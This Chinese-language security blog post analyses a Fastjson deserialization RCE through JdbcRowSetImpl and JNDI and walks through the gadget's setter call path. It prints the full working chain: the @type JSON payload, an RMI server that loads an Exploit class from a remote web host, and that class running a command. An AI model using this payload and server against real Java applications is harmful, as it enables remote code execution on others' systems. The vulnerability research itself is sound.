基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析

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背景

这篇文章主要是基于我在看雪2017开发者峰会的演讲而来，由于时间和听众对象的关系，在大会上主要精力都集中在反序列化的防御上。前面的Fastjson PoC的构造分析涉及得很少，另外我在5月份分享的Fastjson Poc构造与分析限制条件太多，所以写下这篇文章。

Fastjson 使用

Fastjson是Alibaba开发的，Java语言编写的高性能JSON库。采用“假定有序快速匹配”的算法，号称Java语言中最快的JSON库。Fastjson接口简单易用，广泛使用在缓存序列化、协议交互、Web输出、Android客户端
提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。项目地址：https://github.com/alibaba/fastjson。那我们看下如何使用？首先定义一个User.java,代码如下：

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public class User {
    private Long   id;
    private String name;
    public Long getId() {
        return id;
    }
    public void setId(Long id) {
        this.id = id;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
}

序列化的代码如下：

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import com.alibaba.fastjson.JSON;
User guestUser = new User();
guestUser.setId(2L);
guestUser.setName("guest");
String jsonString = JSON.toJSONString(guestUser);
System.out.println(jsonString);

反序列化的代码示例：

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String jsonString = "{\"name\":\"guest\",\"id\":12}";
User user = JSON.parseObject(jsonString, User.class);

上述代码的parseObject也可以直接用parse接口。

Fastjson安全特性

反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理，@type可以指定反序列化任意类，调用其set，get，is方法。
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上图则是Fastjson反序列框架图。JSON门面类，提供一些静态方法，如parse，parseObject.其主要功能都是在DefaultJSONParser类中实现。DefaultJSONParser引用了ParserConfig，主要保存一些相关配置信息。也引用了JSONLexerBase，这个类用来处理字符分析。而反序列化用到的JavaBeanDeserializer则是JavaBean反序列化处理主类。fastjson在1.2.24版本添加enable_autotype开关，将一些类加到黑名单中，后续我也给它报过bypass，fastjson也一并修复。

JNDI

JNDI即Java Naming and Directory Interface，翻译成中文就Java命令和目录接口，2016年的blackhat大会上web议题重点讲到，但是对于json这一块没有涉及。JNDI提供了很多实现方式，主要有RMI，LDAP，CORBA等。我们可以看一下它的架构图
!(2)[/images/JdbcRowSetImpl_2.png]，JNDI提供了一个统一的外部接口，底层SPI则是多样的。在使用JNDIReferences的时候可以远程加载外部的对象，即实现factory的初始化。如果说其lookup方法的参数是我们可以控制的，可以将其参数指向我们控制的RMI服务，切换到我们控制的RMI/LDAP服务等等。

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Registry registry = LocateRegistry.createRegistry(1099);
//http://xxlegend.com/Exploit.class
Reference reference = new javax.naming.Reference(“Exploit",“Exploit","http://xxlegend.com/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind(“Exploit", referenceWrapper);

这段代码主要讲到了在1099端口上创建一个RMI服务，RMI的内容则是通过外部的http服务地址获取。在客户端则是将lookup的地址指向刚才我们创建的RMI服务，即能达到远程代码执行的目的。可以使用如下的请求端代码进行测试：

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Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
Object local_obj = RicterCctx.lookup("rmi://xxlegend.com/Exploit");

那么攻击者的流程就是这样的。攻击者准备rmi服务和web服务，将rmi绝对路径注入到lookup方法中，受害者JNDI接口会指向攻击者控制rmi服务器，JNDI接口向攻击者控制web服务器远程加载恶意代码，执行构造函数形成RCE。

PoC构造与分析

介绍的背景有点多，正式切入我们的正题，基于JdbcRowSetImpl的PoC是如何构造和执行的。在今年5月份的时候，我也公布了Fastjson基于TemplateImpl的PoC的，但是限制还比较多，需要打开SupportNonPublic开关，这个场景是比较少见的，详细的分析见我的博客http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/，后续ricterz也作了一篇分析：https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up。
在看雪峰会上我提到了好几种PoC，下面我简单的给这些PoC做个分类：
1，基于TemplateImpl
2，基于JNDI Bean Property类型
3，基于JNDI Field类型

今天主讲基于JNDI Bean Property这个类型，这个类型和JNDI Field类型的区别就在于Bean Property需要借助setter，getter方法触发，而Field类型则没有这个必要。JdbcRowSetImpl刚好就在Bean Property分类之下，其他的PoC后续再讲。这个Poc相对于TemplateImpl却没有一点儿限制，当然java在JDK 6u132, 7u122, or 8u113补了是另外一码事。 PoC具体如下：

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{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:389/obj","autoCommit":true}

由于这个PoC是基于JNDI，下面我们简单构造一下，首先是服务端的代码：

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public class JNDIServer {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http://xxlegend.com/Exploit.class即可
        Reference reference = new Reference("Exloit",
                "Exploit","http://xxlegend.com/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}

rmi服务端需要一个Exploit.class放到rmi指向的web服务器目录下，这个Exploit.class是一个factory，通过Exploit.java编译得来，在JNDI执行的过程会被初始化。如下是Exploit.java的代码：

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public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("calc");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

服务端构造好之后，下面来看java应用执行的代码，示例如下：

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public class JdbcRowSetImplPoc {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
        //        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," +
//                " \"autoCommit\":true}";
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

完整的代码已经放到

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PoC调用栈如下
![3](/images/JdbcRowSetImpl_3.png)
从这个调用栈就可以看出，在进入Gadget之前，首先是Java应用调用Fastjson的parseObject或者parse接口，进入JavaObjectDeserializer.deserialize方法，经过一系列判断之后发现是JavaBean，就会调用JavaBeanDeserializer.deserialize接口,反序列化得到Gadget相关域，在这个过程中都是通过反射调用这些域的getter，setter或者is方法，这就正式在Gadget执行代码。下面看一下在Gadget中执行的代码。在反序列化过程中是有次序来调用相应接口的，首先是设置dataSourceName属性，这个是其父类BaseRowSet继承过来的。
```java
public void setDataSourceName(String name) throws SQLException {
    if (name == null) {
        dataSource = null;
    } else if (name.equals("")) {
       throw new SQLException("DataSource name cannot be empty string");
    } else {
       dataSource = name;
    }
    URL = null;
}

设置autoCommit属性:

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public void setAutoCommit(boolean var1) throws SQLException {
    if(this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

这setAutoCommit里函数里会触发connect函数。

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private Connection connect() throws SQLException {
    if(this.conn != null) {
        return this.conn;
    } else if(this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
    }
}

这里面就调用InitialContext的lookup方法，而且找到的就是我们前面设置的DataSourceName(),达到远程调用任意类的目的。由于JdbcRowSetImpl是官方自带的库，所以这个PoC的威力相对来说更厉害。如果还在使用Fastjson 1.2.24版本及以下烦请升级。

引用：
1，https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
2,http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/